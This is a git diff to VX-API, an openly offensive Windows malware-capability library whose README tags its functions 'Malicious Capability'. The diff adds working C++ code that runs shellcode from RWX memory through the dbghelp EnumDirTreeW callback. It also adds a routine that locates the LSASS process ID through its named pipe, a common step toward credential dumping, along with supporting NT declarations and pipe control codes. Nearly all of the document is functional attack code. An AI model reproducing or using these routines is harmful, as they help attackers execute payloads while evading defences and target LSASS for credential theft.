diff --git a/README.md b/README.md index deeb459..a31a606 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,7 @@ managed by [vx-underground](https://vx-underground.org) | follow us on [Twitter] # VX-API -Version: 2.0.252 +Version: 2.0.266 Developer: smelly__vx @@ -131,6 +131,7 @@ You're free to use this in any manner you please. You do not need to use this en | UacBypassFodHelperMethod | winscripting.blog | Malicious Capability | | MpfGetLsaPidFromServiceManager | modexp | Malicious Capability | | MpfGetLsaPidFromRegistry | modexp | Malicious Capability | +| MpfGetLsaPidFromNamedPipe | modexp | Malicious Capability | | ShellcodeExecViaCertEnumSystemStore | alfarom256 and aahmad097| Malicious Capability | | ShellcodeExecViaCDefFolderMenu_Create2 | alfarom256 and aahmad097| Malicious Capability | | ShellcodeExecViaCertEnumSystemStoreLocation | alfarom256 and aahmad097| Malicious Capability | @@ -139,6 +140,7 @@ You're free to use this in any manner you please. You do not need to use this en | ShellcodeExecViaEnumDateFormatsW | alfarom256 and aahmad097| Malicious Capability | | ShellcodeExecViaEnumDesktopsW | alfarom256 and aahmad097| Malicious Capability | | ShellcodeExecViaEnumDesktopWindows | alfarom256 and aahmad097| Malicious Capability | +| ShellcodeExecViaEnumDirTreeW | alfarom256 and aahmad097| Malicious Capability | # Todo list diff --git a/VX-API/FunctionDeclaration.h b/VX-API/FunctionDeclaration.h index 950129b..4055f71 100644 --- a/VX-API/FunctionDeclaration.h +++ b/VX-API/FunctionDeclaration.h @@ -19,6 +19,7 @@ typedef NTSTATUS(NTAPI* NTQUERYINFORMATIONFILE)(HANDLE, PIO_STATUS_BLOCK, PVOID, typedef NTSTATUS(NTAPI* NTOPENFILE)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, ULONG, ULONG); typedef BOOL(NTAPI* RTLDOSPATHNAMETONTPATHNAME_U)(PCWSTR, PUNICODE_STRING, PCWSTR*, PRTL_RELATIVE_NAME_U); typedef NTSTATUS(NTAPI* NTCREATEFILE)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, ULONG, ULONG, ULONG, ULONG, PVOID, ULONG); +typedef NTSTATUS(NTAPI* NTFSCONTROLFILE)(HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK, ULONG, PVOID, ULONG, PVOID, ULONG); @@ -95,4 +96,13 @@ typedef BOOL(WINAPI* CERTENUMSYSTEMSTORE)(DWORD, PVOID, PVOID, PFN_CERT_ENUM_SYS typedef BOOL(WINAPI* CERTENUMSYSTEMSTORELOCATION)(DWORD, PVOID, PFN_CERT_ENUM_SYSTEM_STORE_LOCATION); typedef HCERTSTORE(WINAPI* CERTOPENSTORE)(LPCSTR, DWORD, HCRYPTPROV_LEGACY, DWORD, PVOID); typedef PCCERT_CHAIN_CONTEXT(WINAPI* CERTFINDCHAININSTORE)(HCERTSTORE, DWORD, DWORD, DWORD, PVOID, PCCERT_CHAIN_CONTEXT); -typedef BOOL(WINAPI* CERTCLOSESTORE)(HCERTSTORE, DWORD); \ No newline at end of file +typedef BOOL(WINAPI* CERTCLOSESTORE)(HCERTSTORE, DWORD); + + + +/******************************************* + DBGHELP IMPORT +*******************************************/ +typedef BOOL(WINAPI* SYMINITIALIZEW)(HANDLE, PCWSTR, BOOL); +typedef BOOL(WINAPI* SYMCLEANUP)(HANDLE); +typedef BOOL(WINAPI* ENUMDIRTREEW)(HANDLE, PCWSTR, PCWSTR, PWSTR, LPVOID, PVOID); \ No newline at end of file diff --git a/VX-API/GetPidFromPidBruteForcingW.cpp b/VX-API/GetPidFromPidBruteForcing.cpp similarity index 100% rename from VX-API/GetPidFromPidBruteForcingW.cpp rename to VX-API/GetPidFromPidBruteForcing.cpp diff --git a/VX-API/GetPidFromPidBruteForcingEx.cpp b/VX-API/GetPidFromPidBruteForcingEx.cpp new file mode 100644 index 0000000..742df4a --- /dev/null +++ b/VX-API/GetPidFromPidBruteForcingEx.cpp @@ -0,0 +1,194 @@ +#include "Win32Helper.h" + +DWORD GetPidFromPidBruteForcingExW(_In_ PWCHAR ProcessNameWithExtension) +{ + UNICODE_STRING NtfsRoot = { 0 }; + IO_STATUS_BLOCK IoBlock = { 0 }; + HANDLE hDevice = NULL; + OBJECT_ATTRIBUTES Attributes = { 0 }; + HMODULE hModule = NULL, hShlwapi = NULL; + PFILE_PROCESS_IDS_USING_FILE_INFORMATION ProcessIdArray = NULL; + NTSTATUS Status = STATUS_SUCCESS; + DWORD ProcessId = ERROR_SUCCESS, dwProcessInformationListArrayLength = 16384; + + NTCREATEFILE NtCreateFile = NULL; + NTCLOSE NtClose = NULL; + NTQUERYINFORMATIONFILE NtQueryInformationFile = NULL; + NTQUERYSYSTEMINFORMATION NtQuerySystemInformation = NULL; + PATHSTRIPPATHW PathStripPathW = NULL; + + hModule = GetModuleHandleEx2W(L"ntdll.dll"); + hShlwapi = TryLoadDllMultiMethodW((PWCHAR)L"shlwapi.dll"); + + if (!hModule || !hShlwapi) + return 0; + + NtCreateFile = (NTCREATEFILE)GetProcAddressA((DWORD64)hModule, "NtCreateFile"); + NtClose = (NTCLOSE)GetProcAddressA((DWORD64)hModule, "NtClose"); + NtQueryInformationFile = (NTQUERYINFORMATIONFILE)GetProcAddressA((DWORD64)hModule, "NtQueryInformationFile"); + NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddressA((DWORD64)hModule, "NtQuerySystemInformation"); + PathStripPathW = (PATHSTRIPPATHW)GetProcAddressA((DWORD64)hShlwapi, "PathStripPathW"); + if (!NtCreateFile || !NtClose || !NtQueryInformationFile || !NtQuerySystemInformation || !PathStripPathW) + return 0; + + RtlInitUnicodeString(&NtfsRoot, L"\\NTFS\\"); + + InitializeObjectAttributes(&Attributes, &NtfsRoot, OBJ_CASE_INSENSITIVE, NULL, NULL); + + Status = NtCreateFile(&hDevice, GENERIC_READ | SYNCHRONIZE, &Attributes, &IoBlock, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN, 0, NULL, 0); + if (!NT_SUCCESS(Status)) + goto EXIT_ROUTINE; + + ProcessIdArray = (PFILE_PROCESS_IDS_USING_FILE_INFORMATION)HeapAlloc(GetProcessHeapFromTeb(), HEAP_ZERO_MEMORY, dwProcessInformationListArrayLength); + if (ProcessIdArray == NULL) + goto EXIT_ROUTINE; + + ZeroMemory(&IoBlock, sizeof(IO_STATUS_BLOCK)); + + Status = NtQueryInformationFile(hDevice, &IoBlock, ProcessIdArray, dwProcessInformationListArrayLength, FileProcessIdsUsingFileInformation); + if (!NT_SUCCESS(Status)) + goto EXIT_ROUTINE; + + for (DWORD dwX = 0; dwX < ProcessIdArray->NumberOfProcessIdsInList; dwX++) + { + WCHAR ImageName[MAX_PATH * sizeof(WCHAR)] = { 0 }; + SYSTEM_PROCESS_IMAGE_NAME_INFORMATION SystemProcessInformation = { 0 }; + + if (ProcessId != ERROR_SUCCESS) + break; + +#pragma warning( push ) +#pragma warning( disable : 4244) + SystemProcessInformation.ProcessId = LongToHandle(ProcessIdArray->ProcessIdList[dwX]); +#pragma warning( pop ) + SystemProcessInformation.ImageName.Buffer = ImageName; + SystemProcessInformation.ImageName.Length = 0; + SystemProcessInformation.ImageName.MaximumLength = sizeof(ImageName); + + Status = NtQuerySystemInformation(SystemProcessIdInformation, &SystemProcessInformation, sizeof(SystemProcessInformation), NULL); + if (!NT_SUCCESS(Status)) + continue; + + if (SystemProcessInformation.ImageName.Buffer == NULL) + continue; + + PathStripPathW(SystemProcessInformation.ImageName.Buffer); + +#pragma warning( push ) +#pragma warning( disable : 4244) + if (StringCompareW(ProcessNameWithExtension, SystemProcessInformation.ImageName.Buffer) == ERROR_SUCCESS) + ProcessId = ProcessIdArray->ProcessIdList[dwX]; +#pragma warning( pop ) + } + +EXIT_ROUTINE: + + if (ProcessIdArray) + HeapFree(GetProcessHeapFromTeb(), HEAP_ZERO_MEMORY, ProcessIdArray); + + if (hDevice) + NtClose(hDevice); + + if (hShlwapi) + FreeLibrary(hShlwapi); + + return ProcessId; +} + +DWORD GetPidFromPidBruteForcingExA(_In_ PCHAR ProcessNameWithExtension) +{ + UNICODE_STRING NtfsRoot = { 0 }; + IO_STATUS_BLOCK IoBlock = { 0 }; + HANDLE hDevice = NULL; + OBJECT_ATTRIBUTES Attributes = { 0 }; + HMODULE hModule = NULL, hShlwapi = NULL; + PFILE_PROCESS_IDS_USING_FILE_INFORMATION ProcessIdArray = NULL; + NTSTATUS Status = STATUS_SUCCESS; + DWORD ProcessId = ERROR_SUCCESS, dwProcessInformationListArrayLength = 16384; + WCHAR ProcessParameterTransformed[MAX_PATH * sizeof(WCHAR)] = { 0 }; + NTCREATEFILE NtCreateFile = NULL; + NTCLOSE NtClose = NULL; + NTQUERYINFORMATIONFILE NtQueryInformationFile = NULL; + NTQUERYSYSTEMINFORMATION NtQuerySystemInformation = NULL; + PATHSTRIPPATHW PathStripPathW = NULL; + + if (CharStringToWCharString(ProcessParameterTransformed, ProcessNameWithExtension, StringLengthA(ProcessNameWithExtension) == 0)) + goto EXIT_ROUTINE; + + hModule = GetModuleHandleEx2W(L"ntdll.dll"); + hShlwapi = TryLoadDllMultiMethodW((PWCHAR)L"shlwapi.dll"); + + if (!hModule || !hShlwapi) + return 0; + + NtCreateFile = (NTCREATEFILE)GetProcAddressA((DWORD64)hModule, "NtCreateFile"); + NtClose = (NTCLOSE)GetProcAddressA((DWORD64)hModule, "NtClose"); + NtQueryInformationFile = (NTQUERYINFORMATIONFILE)GetProcAddressA((DWORD64)hModule, "NtQueryInformationFile"); + NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddressA((DWORD64)hModule, "NtQuerySystemInformation"); + PathStripPathW = (PATHSTRIPPATHW)GetProcAddressA((DWORD64)hShlwapi, "PathStripPathW"); + if (!NtCreateFile || !NtClose || !NtQueryInformationFile || !NtQuerySystemInformation || !PathStripPathW) + return 0; + + RtlInitUnicodeString(&NtfsRoot, L"\\NTFS\\"); + + InitializeObjectAttributes(&Attributes, &NtfsRoot, OBJ_CASE_INSENSITIVE, NULL, NULL); + + Status = NtCreateFile(&hDevice, GENERIC_READ | SYNCHRONIZE, &Attributes, &IoBlock, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN, 0, NULL, 0); + if (!NT_SUCCESS(Status)) + goto EXIT_ROUTINE; + + ProcessIdArray = (PFILE_PROCESS_IDS_USING_FILE_INFORMATION)HeapAlloc(GetProcessHeapFromTeb(), HEAP_ZERO_MEMORY, dwProcessInformationListArrayLength); + if (ProcessIdArray == NULL) + goto EXIT_ROUTINE; + + ZeroMemory(&IoBlock, sizeof(IO_STATUS_BLOCK)); + + Status = NtQueryInformationFile(hDevice, &IoBlock, ProcessIdArray, dwProcessInformationListArrayLength, FileProcessIdsUsingFileInformation); + if (!NT_SUCCESS(Status)) + goto EXIT_ROUTINE; + + for (DWORD dwX = 0; dwX < ProcessIdArray->NumberOfProcessIdsInList; dwX++) + { + WCHAR ImageName[MAX_PATH * sizeof(WCHAR)] = { 0 }; + SYSTEM_PROCESS_IMAGE_NAME_INFORMATION SystemProcessInformation = { 0 }; + + if (ProcessId != ERROR_SUCCESS) + break; + +#pragma warning( push ) +#pragma warning( disable : 4244) + SystemProcessInformation.ProcessId = LongToHandle(ProcessIdArray->ProcessIdList[dwX]); +#pragma warning( pop ) + SystemProcessInformation.ImageName.Buffer = ImageName; + SystemProcessInformation.ImageName.Length = 0; + SystemProcessInformation.ImageName.MaximumLength = sizeof(ImageName); + + Status = NtQuerySystemInformation(SystemProcessIdInformation, &SystemProcessInformation, sizeof(SystemProcessInformation), NULL); + if (!NT_SUCCESS(Status)) + continue; + + if (SystemProcessInformation.ImageName.Buffer == NULL) + continue; + + PathStripPathW(SystemProcessInformation.ImageName.Buffer); + +#pragma warning( push ) +#pragma warning( disable : 4244) + if (StringCompareW(ProcessParameterTransformed, SystemProcessInformation.ImageName.Buffer) == ERROR_SUCCESS) + ProcessId = ProcessIdArray->ProcessIdList[dwX]; +#pragma warning( pop ) + } + +EXIT_ROUTINE: + + if (ProcessIdArray) + HeapFree(GetProcessHeapFromTeb(), HEAP_ZERO_MEMORY, ProcessIdArray); + + if (hDevice) + NtClose(hDevice); + + if (hShlwapi) + FreeLibrary(hShlwapi); + + return ProcessId; +} \ No newline at end of file diff --git a/VX-API/GetPidFromPidBruteForcingExW.cpp b/VX-API/GetPidFromPidBruteForcingExW.cpp deleted file mode 100644 index 2f9eddf..0000000 --- a/VX-API/GetPidFromPidBruteForcingExW.cpp +++ /dev/null @@ -1,96 +0,0 @@ -#include "Win32Helper.h" - -DWORD GetPidFromPidBruteForcingExW(_In_ PWCHAR ProcessNameWithExtension) -{ - UNICODE_STRING NtfsRoot = { 0 }; - IO_STATUS_BLOCK IoBlock = { 0 }; - HANDLE hDevice = NULL; - OBJECT_ATTRIBUTES Attributes = { 0 }; - HMODULE hModule = NULL, hShlwapi = NULL; - PFILE_PROCESS_IDS_USING_FILE_INFORMATION ProcessIdArray = NULL; - NTSTATUS Status = STATUS_SUCCESS; - DWORD ProcessId = ERROR_SUCCESS, dwProcessInformationListArrayLength = 16384; - - NTCREATEFILE NtCreateFile = NULL; - NTCLOSE NtClose = NULL; - NTQUERYINFORMATIONFILE NtQueryInformationFile = NULL; - NTQUERYSYSTEMINFORMATION NtQuerySystemInformation = NULL; - PATHSTRIPPATHW PathStripPathW = NULL; - - hModule = GetModuleHandleEx2W(L"ntdll.dll"); - hShlwapi = TryLoadDllMultiMethodW((PWCHAR)L"shlwapi.dll"); - - if (!hModule || !hShlwapi) - return 0; - - NtCreateFile = (NTCREATEFILE)GetProcAddressA((DWORD64)hModule, "NtCreateFile"); - NtClose = (NTCLOSE)GetProcAddressA((DWORD64)hModule, "NtClose"); - NtQueryInformationFile = (NTQUERYINFORMATIONFILE)GetProcAddressA((DWORD64)hModule, "NtQueryInformationFile"); - NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddressA((DWORD64)hModule, "NtQuerySystemInformation"); - PathStripPathW = (PATHSTRIPPATHW)GetProcAddressA((DWORD64)hShlwapi, "PathStripPathW"); - if (!NtCreateFile || !NtClose || !NtQueryInformationFile || !NtQuerySystemInformation || !PathStripPathW) - return 0; - - RtlInitUnicodeString(&NtfsRoot, L"\\NTFS\\"); - - InitializeObjectAttributes(&Attributes, &NtfsRoot, OBJ_CASE_INSENSITIVE, NULL, NULL); - - Status = NtCreateFile(&hDevice, GENERIC_READ | SYNCHRONIZE, &Attributes, &IoBlock, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN, 0, NULL, 0); - if (!NT_SUCCESS(Status)) - goto EXIT_ROUTINE; - - ProcessIdArray = (PFILE_PROCESS_IDS_USING_FILE_INFORMATION)HeapAlloc(GetProcessHeapFromTeb(), HEAP_ZERO_MEMORY, dwProcessInformationListArrayLength); - if (ProcessIdArray == NULL) - goto EXIT_ROUTINE; - - ZeroMemory(&IoBlock, sizeof(IO_STATUS_BLOCK)); - - Status = NtQueryInformationFile(hDevice, &IoBlock, ProcessIdArray, dwProcessInformationListArrayLength, FileProcessIdsUsingFileInformation); - if (!NT_SUCCESS(Status)) - goto EXIT_ROUTINE; - - for (DWORD dwX = 0; dwX < ProcessIdArray->NumberOfProcessIdsInList; dwX++) - { - WCHAR ImageName[MAX_PATH * sizeof(WCHAR)] = { 0 }; - SYSTEM_PROCESS_IMAGE_NAME_INFORMATION SystemProcessInformation = { 0 }; - - if (ProcessId != ERROR_SUCCESS) - break; - -#pragma warning( push ) -#pragma warning( disable : 4244) - SystemProcessInformation.ProcessId = LongToHandle(ProcessIdArray->ProcessIdList[dwX]); -#pragma warning( pop ) - SystemProcessInformation.ImageName.Buffer = ImageName; - SystemProcessInformation.ImageName.Length = 0; - SystemProcessInformation.ImageName.MaximumLength = sizeof(ImageName); - - Status = NtQuerySystemInformation(SystemProcessIdInformation, &SystemProcessInformation, sizeof(SystemProcessInformation), NULL); - if (!NT_SUCCESS(Status)) - continue; - - if (SystemProcessInformation.ImageName.Buffer == NULL) - continue; - - PathStripPathW(SystemProcessInformation.ImageName.Buffer); - -#pragma warning( push ) -#pragma warning( disable : 4244) - if (StringCompareW(ProcessNameWithExtension, SystemProcessInformation.ImageName.Buffer) == ERROR_SUCCESS) - ProcessId = ProcessIdArray->ProcessIdList[dwX]; -#pragma warning( pop ) - } - -EXIT_ROUTINE: - - if (ProcessIdArray) - HeapFree(GetProcessHeapFromTeb(), HEAP_ZERO_MEMORY, ProcessIdArray); - - if (hDevice) - NtClose(hDevice); - - if (hShlwapi) - FreeLibrary(hShlwapi); - - return ProcessId; -} \ No newline at end of file diff --git a/VX-API/Internal.h b/VX-API/Internal.h index 371c758..1a86cd8 100644 --- a/VX-API/Internal.h +++ b/VX-API/Internal.h @@ -31,6 +31,34 @@ #define FILE_OVERWRITE_IF 0x00000005 #define FILE_MAXIMUM_DISPOSITION 0x00000005 +#define FSCTL_PIPE_ASSIGN_EVENT CTL_CODE(FILE_DEVICE_NAMED_PIPE, 0, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_DISCONNECT CTL_CODE(FILE_DEVICE_NAMED_PIPE, 1, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_LISTEN CTL_CODE(FILE_DEVICE_NAMED_PIPE, 2, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_PEEK CTL_CODE(FILE_DEVICE_NAMED_PIPE, 3, METHOD_BUFFERED, FILE_READ_DATA) +#define FSCTL_PIPE_QUERY_EVENT CTL_CODE(FILE_DEVICE_NAMED_PIPE, 4, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_TRANSCEIVE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 5, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA) +#define FSCTL_PIPE_WAIT CTL_CODE(FILE_DEVICE_NAMED_PIPE, 6, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_IMPERSONATE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 7, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_SET_CLIENT_PROCESS CTL_CODE(FILE_DEVICE_NAMED_PIPE, 8, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_QUERY_CLIENT_PROCESS CTL_CODE(FILE_DEVICE_NAMED_PIPE, 9, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_GET_PIPE_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 10, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_SET_PIPE_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 11, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_GET_CONNECTION_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 12, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_SET_CONNECTION_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 13, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_GET_HANDLE_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 14, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_SET_HANDLE_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 15, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_FLUSH CTL_CODE(FILE_DEVICE_NAMED_PIPE, 16, METHOD_BUFFERED, FILE_WRITE_DATA) + +#define FSCTL_PIPE_INTERNAL_READ CTL_CODE(FILE_DEVICE_NAMED_PIPE, 2045, METHOD_BUFFERED, FILE_READ_DATA) +#define FSCTL_PIPE_INTERNAL_WRITE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 2046, METHOD_BUFFERED, FILE_WRITE_DATA) +#define FSCTL_PIPE_INTERNAL_TRANSCEIVE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 2047, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA) +#define FSCTL_PIPE_INTERNAL_READ_OVFLOW CTL_CODE(FILE_DEVICE_NAMED_PIPE, 2048, METHOD_BUFFERED, FILE_READ_DATA) + +// Flags for query event + +#define FILE_PIPE_READ_DATA 0x00000000 +#define FILE_PIPE_WRITE_SPACE 0x00000001 + typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; @@ -1097,4 +1125,6 @@ typedef struct _RTL_RELATIVE_NAME_U{ typedef struct _FILE_PROCESS_IDS_USING_FILE_INFORMATION{ ULONG NumberOfProcessIdsInList; ULONG_PTR ProcessIdList[1]; -} FILE_PROCESS_IDS_USING_FILE_INFORMATION, * PFILE_PROCESS_IDS_USING_FILE_INFORMATION; \ No newline at end of file +} FILE_PROCESS_IDS_USING_FILE_INFORMATION, * PFILE_PROCESS_IDS_USING_FILE_INFORMATION; + +typedef VOID(NTAPI* PIO_APC_ROUTINE)(PVOID ApcContext, _In_ PIO_STATUS_BLOCK IoStatusBlock, _In_ ULONG Reserved); \ No newline at end of file diff --git a/VX-API/Main.cpp b/VX-API/Main.cpp index 6c225c3..ce2c15c 100644 --- a/VX-API/Main.cpp +++ b/VX-API/Main.cpp @@ -47,7 +47,9 @@ int main(VOID) Sei.Payload = GlobalOpenCalcPayload; Sei.dwLengthOfPayloadInBytes = 277; - ShellcodeExecViaEnumDesktopsW(&Sei); + //ShellcodeExecViaEnumDirTreeW(&Sei); + + dwError = MpfGetLsaPidFromNamedPipe(); return dwError; } diff --git a/VX-API/MpfGetLsaPidFromNamedPipe.cpp b/VX-API/MpfGetLsaPidFromNamedPipe.cpp new file mode 100644 index 0000000..49b5258 --- /dev/null +++ b/VX-API/MpfGetLsaPidFromNamedPipe.cpp @@ -0,0 +1,47 @@ +#include "Win32Helper.h" + +DWORD MpfGetLsaPidFromNamedPipe(VOID) +{ + UNICODE_STRING Pipe = { 0 }; + NTOPENFILE NtOpenFile = NULL; + NTFSCONTROLFILE NtfsControlFile = NULL; + NTCLOSE NtClose = NULL; + HMODULE hModule = NULL; + IO_STATUS_BLOCK IoBlock = { 0 }; + OBJECT_ATTRIBUTES Attributes = { 0 }; + DWORD ProcessId = ERROR_SUCCESS; + HANDLE hHandle = INVALID_HANDLE_VALUE; + NTSTATUS Status = STATUS_SUCCESS; + LPSTR InputBuffer = (LPSTR)"ServerProcessId"; + + hModule = TryLoadDllMultiMethodW((PWCHAR)L"ntdll.dll"); + if (hModule == NULL) + return -1; + + NtOpenFile = (NTOPENFILE)GetProcAddressA((DWORD64)hModule, "NtOpenFile"); + NtfsControlFile = (NTFSCONTROLFILE)GetProcAddressA((DWORD64)hModule, "NtFsControlFile"); + NtClose = (NTCLOSE)GetProcAddressA((DWORD64)hModule, "NtClose"); + + if (!NtOpenFile || !NtfsControlFile || !NtClose) + return -1; + + RtlInitUnicodeString(&Pipe, L"\\Device\\NamedPipe\\lsass"); + + InitializeObjectAttributes(&Attributes, &Pipe, OBJ_CASE_INSENSITIVE, 0, NULL); + + Status = NtOpenFile(&hHandle, FILE_READ_ATTRIBUTES, &Attributes, &IoBlock, FILE_SHARE_READ, NULL); + if (!NT_SUCCESS(Status)) + goto EXIT_ROUTINE; + + Status = NtfsControlFile(hHandle, NULL, NULL, NULL, &IoBlock, FSCTL_PIPE_GET_PIPE_ATTRIBUTE, InputBuffer, (ULONG)StringLengthA(InputBuffer) + 1, &ProcessId, sizeof(DWORD)); + if (!NT_SUCCESS(Status)) + goto EXIT_ROUTINE; + + +EXIT_ROUTINE: + + if (hHandle) + NtClose(hHandle); + + return ProcessId; +} \ No newline at end of file diff --git a/VX-API/ShellcodeExecViaEnumDirTreeW.cpp b/VX-API/ShellcodeExecViaEnumDirTreeW.cpp new file mode 100644 index 0000000..f00a362 --- /dev/null +++ b/VX-API/ShellcodeExecViaEnumDirTreeW.cpp @@ -0,0 +1,55 @@ +#include "Win32Helper.h" + +DWORD UnusedSubroutineDisposeableThreadEnumDirTreeW(LPVOID Param) +{ + PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param; + SYMINITIALIZEW SymInitialize = NULL; + SYMCLEANUP SymCleanup = NULL; + ENUMDIRTREEW EnumDirTree = NULL; + LPVOID BinAddress = NULL; + BOOL bFlag = FALSE; + HMODULE hModule = NULL; + WCHAR DisposeableBuffer[512] = { 0 }; + + hModule = TryLoadDllMultiMethodW((PWCHAR)L"dbghelp.dll"); + if (hModule == NULL) + goto EXIT_ROUTINE; + + SymInitialize = (SYMINITIALIZEW)GetProcAddressA((DWORD64)hModule, "SymInitializeW"); + SymCleanup = (SYMCLEANUP)GetProcAddressA((DWORD64)hModule, "SymCleanup"); + EnumDirTree = (ENUMDIRTREEW)GetProcAddressA((DWORD64)hModule, "EnumDirTreeW"); + + if (!SymInitialize || !SymCleanup || !EnumDirTree) + goto EXIT_ROUTINE; + + if (!SymInitialize(InlineGetCurrentProcess, NULL, TRUE)) + goto EXIT_ROUTINE; + + BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (BinAddress == NULL) + goto EXIT_ROUTINE; + + CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes); + + EnumDirTree(InlineGetCurrentProcess, L"C:\\Windows", L"*.log", DisposeableBuffer, BinAddress, NULL); + + SymCleanup(InlineGetCurrentProcess); + + bFlag = TRUE; + +EXIT_ROUTINE: + + if (hModule) + FreeLibrary(hModule); + + if (BinAddress) + VirtualFree(BinAddress, 0, MEM_RELEASE); + + return (bFlag ? 0 : 0xffffffff); +} + + +BOOL ShellcodeExecViaEnumDirTreeW(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei) +{ + return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadEnumDirTreeW, Sei, INFINITE); +} \ No newline at end of file diff --git a/VX-API/VX-API.vcxproj b/VX-API/VX-API.vcxproj index 2f241f1..6b30f88 100644 --- a/VX-API/VX-API.vcxproj +++ b/VX-API/VX-API.vcxproj @@ -170,8 +170,8 @@ - - + + @@ -209,6 +209,7 @@ + @@ -230,6 +231,7 @@ + diff --git a/VX-API/VX-API.vcxproj.filters b/VX-API/VX-API.vcxproj.filters index d0e7e70..19974b6 100644 --- a/VX-API/VX-API.vcxproj.filters +++ b/VX-API/VX-API.vcxproj.filters @@ -369,7 +369,7 @@ Source Files\Windows API Helper Functions\Malicious Capabilities - + Source Files\Windows API Helper Functions\Fingerprinting @@ -381,7 +381,7 @@ Source Files\Windows API Helper Functions\Fingerprinting - + Source Files\Windows API Helper Functions\Fingerprinting @@ -411,6 +411,12 @@ Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution from Callback + + Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution from Callback + + + Source Files\Windows API Helper Functions\Malicious Capabilities + diff --git a/VX-API/Win32Helper.h b/VX-API/Win32Helper.h index bf7f2d0..8871584 100644 --- a/VX-API/Win32Helper.h +++ b/VX-API/Win32Helper.h @@ -148,6 +148,7 @@ DWORD GetPidFromPidBruteForcingA(_In_ PCHAR ProcessNameWithExtension); DWORD GetPidFromNtQueryFileInformationW(_In_ PWCHAR FullBinaryPath); DWORD GetPidFromNtQueryFileInformationA(_In_ PCHAR FullBinaryPath); DWORD GetPidFromPidBruteForcingExW(_In_ PWCHAR ProcessNameWithExtension); +DWORD GetPidFromPidBruteForcingExA(_In_ PCHAR ProcessNameWithExtension); //malicious capabilities DWORD OleGetClipboardDataA(_Inout_ PCHAR Buffer); @@ -167,6 +168,8 @@ BOOL ShellcodeExecViaEnumChildWindows(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei) BOOL ShellcodeExecViaEnumDateFormatsW(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei); BOOL ShellcodeExecViaEnumDesktopWindows(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei); BOOL ShellcodeExecViaEnumDesktopsW(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei); +BOOL ShellcodeExecViaEnumDirTreeW(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei); +DWORD MpfGetLsaPidFromNamedPipe(VOID); //evasion BOOL CreateProcessWithCfGuardW(_Inout_ PPROCESS_INFORMATION Pi, _In_ PWCHAR Path);